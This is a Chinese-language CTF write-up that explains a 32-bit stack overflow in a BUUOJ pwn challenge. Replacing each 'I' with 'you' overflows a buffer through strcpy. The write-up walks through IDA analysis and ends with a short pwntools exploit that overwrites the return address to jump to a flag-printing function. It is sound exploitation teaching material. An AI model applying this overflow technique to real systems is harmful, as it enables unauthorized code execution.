ScreenShot_2026-03-17_222530_548.png
这一题主要是看懂代码什么意思,这题就迎刃而解了

首先检查文件位数以及保护
ScreenShot_2026-03-17_213528_899.png
ScreenShot_2026-03-17_213400_547.png
这次需要注意的是文件是32位的,咱ubantu虚拟机一般用的是64位的,所以需要执行命令,配置32位的运行环境

sudo dpkg --add-architecture i386
sudo apt update
sudo apt install -y libc6:i386 libncurses5:i386 libstdc++6:i386

安装完之后文件在ubantu就可以运行了

ScreenShot_2026-03-17_222955_092.png

看到交互的字符串,后面优先锁定这里。
用ida32打开文件,首先看字符串!
ScreenShot_2026-03-17_223156_371.png
可以看到很多关键字符串:cat flag.txt,fgets,system
首先看看cat flag.txt所在函数:
ScreenShot_2026-03-17_223337_036.png
可以看到这个函数里面直接调用了system()函数,我们后面溢出以跳转到这个函数执行地址位目的
所以记录一下这个函数的调用地址:0x08048F0D
接着看fgets函数,在字符串列表中双击进去,进入的是.rodata段
再右键fgets,跳到操作数
ScreenShot_2026-03-17_232334_137.png
这里显示的是extend声明,说明fgets函数是外部引用函数
点右边的CODE XREF: _fgets↑j,进入.plt段,这里相当于找到函数的一个跳板,.text段引用的函数都是类似于fgets@plt来找到这个plt跳板,最后跳到GOT表找到真实的fgets函数地址,这里右键,点击交叉引用。
ScreenShot_2026-03-17_232534_286.png
跳转之后就是目的.text段,这里的函数地址编译时就固定了,而且可以f5看伪代码
ScreenShot_2026-03-17_234308_927.png

这题的代码有点难读懂,以我的水平,只能知道要输入s,而且限制32个字节,然而字符s的起时位置距离栈低60个字节,所以说单纯看fgets()函数是没有溢出的。

const char *v0; // 临时指针,指向字符串的C风格内存
char s; // [ebp-3Ch] 栈上缓冲区,大小 0x3C(60字节)
char v3; // [ebp-1Ch] 临时string对象
char v4; // [ebp-18h] 临时string对象(存储"you")
char v5; // [ebp-11h] 分配器对象
char v6; // [ebp-10h] 临时string对象(存储"I")
char v7; // [ebp-9h]  分配器对象

下面是函数解释

fgets(&s, 32, edata);
从输入读取最多 32 字节 到 s 缓冲区(这里 s 实际有 60 字节 空间,暂时安全)。

std::string::operator=(&input, &s);
将用户输入的 s 内容赋值给全局 input 字符串对象。

std::allocator<char>::allocator(&v5);
std::string::string(&v4, "you", &v5);
构造一个内容为 "you" 的字符串对象 v4。

std::allocator<char>::allocator(&v7);
std::string::string(&v6, "I", &v7);
构造一个内容为 "I" 的字符串对象 v6。

replace((std::string *)&v3);
调用 replace 函数,对 v3 做字符串替换(通常是把 input 里的 "I" 替换成 "you",
比如输入 "I am happy" → 变成 "you am happy")。

std::string::operator=(&input, &v3, &v6, &v4);
把替换后的结果 v3 赋值回 input。

 一系列析构函数,释放临时string和分配器对象
std::string::~string((std::string *)&v3);
std::string::~string((std::string *)&v6);
std::allocator<char>::~allocator(&v7);
std::string::~string((std::string *)&v4);
std::allocator<char>::~allocator(&v5);
C++ 自动清理临时对象,避免内存泄漏。

v0 = (const char *)std::string::c_str((std::string *)&input);
获取 input 字符串的 C 风格指针(以 \0 结尾),赋值给 v0。

strcpy(&s, v0);
strcpy 会无限制复制 v0 指向的内容到 s 缓冲区,直到遇到 \0


简单来说就是你输入的'I'会被替换成'you',一个字节变三个字节,存在溢出!
所以可以构造20个'I',替换之后变成60个字节,把栈填满,再用4个字节的垃圾字符填满ebp
最后写上之前找到的get_flag()函数的调用地址。

所以exp:

from pwn import *

p = remote('node5.buuoj.cn',25623)

payload = b'I'*20 + b'A'*4 + p32(0x8048F0D)

p.sendline(payload)

print(p.recvall()) 

ScreenShot_2026-03-17_235534_968.png
成功拿到flag